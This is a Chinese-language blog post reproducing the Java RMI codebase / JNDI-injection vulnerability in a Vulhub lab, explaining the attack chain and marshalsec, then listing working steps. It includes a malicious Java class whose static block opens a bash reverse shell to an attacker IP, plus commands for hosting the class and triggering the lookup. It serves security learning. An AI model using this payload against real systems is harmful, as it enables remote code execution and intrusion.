java-rmi-codebase

0x01 漏洞概述

Java RMI简介

Java RMI(Remote Method Invocation)是Java平台的一个远程调用机制,允许Java程序通过网络在不同机器上调用远程对象的方法。RMI通过对象序列化和反序列化的方式,传输对象的状态,并通过RMI注册表暴露对象服务。在默认情况下,RMI会使用TCP协议来实现远程通信。
RMI为Java应用提供了方便的分布式计算方式,但也带来了一些安全隐患,特别是在不安全的代码库配置和反序列化机制的使用下,可能会被攻击者利用来执行远程代码。

Java RMI代码库漏洞概述

Java RMI代码库漏洞(Java RMI Codebase Vulnerability)指的是RMI服务端允许客户端通过RMI协议远程加载和执行代码的漏洞。在不受信任的环境中,攻击者可以通过构造恶意请求,使目标服务器加载攻击者控制的恶意类文件,进而执行远程代码。这种漏洞通常与Java的反序列化机制结合使用,攻击者可以通过向目标系统发送恶意的序列化数据,触发反序列化漏洞,从而执行恶意代码。

0x02 漏洞原理

Java RMI代码库漏洞的根本原因在于Java RMI服务端的远程代码加载机制。RMI允许客户端指定远程代码库的位置,如果该机制没有适当的安全限制,攻击者可以利用此功能将恶意代码上传并执行。
漏洞通常发生在服务端未对远程代码库的URL进行严格验证时。攻击者通过构造恶意的RMI请求,指定一个恶意的代码库URL(如HTTP或LDAP协议),使得目标服务器从不受信任的源加载恶意类文件。这些类文件通常包含恶意代码,导致远程代码执行(RCE)。
整个利用链可以抽象为 5 个步骤:

  1. 攻击者启动 HTTP Server,提供恶意 .class 文件(Codebase)
  2. 攻击者启动 RMIRefServer,向目标返回包含远程 Codebase 的 Reference
  3. 目标 JVM 执行 JNDI lookup
  4. JVM 根据 Reference 从 HTTP Codebase 加载远程类
  5. 类加载阶段执行 static 代码块,完成命令执行

0x03 漏洞工具

marshalsec

marshalsec = 各种“恶意中间件服务”的集合工具。可以快速启动多种恶意服务,例如:

模块 作用
RMIRefServer 返回恶意 RMI Reference
LDAPRefServer 返回恶意 LDAP Reference
JRMPListener 原生 RMI 反序列化利用
HTTPServer 承载恶意 class 文件

0x04 漏洞复现

1. 环境说明

角色 系统
攻击机 Kali Linux
靶机 Ubuntu 22.04
靶场 Vulhub java-rmi-codebase
容器平台 Docker + Docker Compose
Java 1.8.0_121

2. 拉取漏洞环境

# 进入log4j目录,确认目录内存在 docker-compose.yml
cd ~/vulhub/java/rmi-codebase
# 启动 rmi-codebase 靶场
docker compose up -d
# 查看镜像端口
docker ps

image
用 nmap 确认 RMI Registry
image
进一步确认 Registry 中是否存在可绑定对象

┌──(root㉿kali)-[/home/kali]
└─# nmap --script rmi-dumpregistry -p 1099 192.168.137.137
Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-17 23:27 EST
Nmap scan report for 192.168.137.137
Host is up (0.00032s latency).

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   refObj    #Registry中存在远程对象,这是利用的前提条件之一。
|      implements java.rmi.Remote, ICalc,
|     extends
|       java.lang.reflect.Proxy    #RMI远程调用的标准实现方式
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:64000    #64000端口是Codebase HTTP Server,用于对外提供 .class 文件
|             extends
|_              java.rmi.server.RemoteObject
MAC Address: 00:0C:29:5C:E0:CA (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.38 seconds

3. kali准备反弹监听

image

4. 编写恶意类

新建exploit2.java文件

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class Exploit2 implements ObjectFactory {

    static {
        try {
            Runtime.getRuntime().exec(
                new String[]{
                    "/bin/bash",
                    "-c",
                    "bash -i >& /dev/tcp/192.168.137.149/4444 0>&1" //192.168.137.149是kali攻击机IP
                }
            );
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        return null;
    }
}

image
编译:javac Exploit2.java,生成Exploit2.class文件
image

5. 启动 HTTP Codebase

HTTP Server 的启动目录必须和 Exploit2.class 所在目录一致,否则 JVM 下载到的可能是旧文件或根本不存在的 class。 启动HTTP Codebase:python3 -m http.server 8000
image

6. 安装 marshalsec 启动 RMIRefServer

安装marshalsec:

//克隆项目
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec
//Maven编译
mvn clean package -DskipTests

编译后生成:target/marshalsec-*-SNAPSHOT-all.jar
RMIRefServer启动:

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar \
marshalsec.jndi.RMIRefServer \
http://192.168.137.149:8000/#Exploit2

其中192.168.137.149是kali攻击机IP,8000是HTTP Codebase 监听端口,Exploit2是恶意文件名
成功后监听 1099 端口。
image

7. 进入容器执行 JNDI Lookup

image
执行:
image

jrunscript \
-J-Dcom.sun.jndi.rmi.object.trustURLCodebase=true \
-J-Djava.rmi.server.useCodebaseOnly=false \
-e 'new javax.naming.InitialContext().lookup("rmi://192.168.137.149:1099/Exploit2");'

kali成功收到反弹连接:
image

posted @ 2026-01-18 17:10  77板烧鸡腿堡  阅读(2)  评论(0)    收藏  举报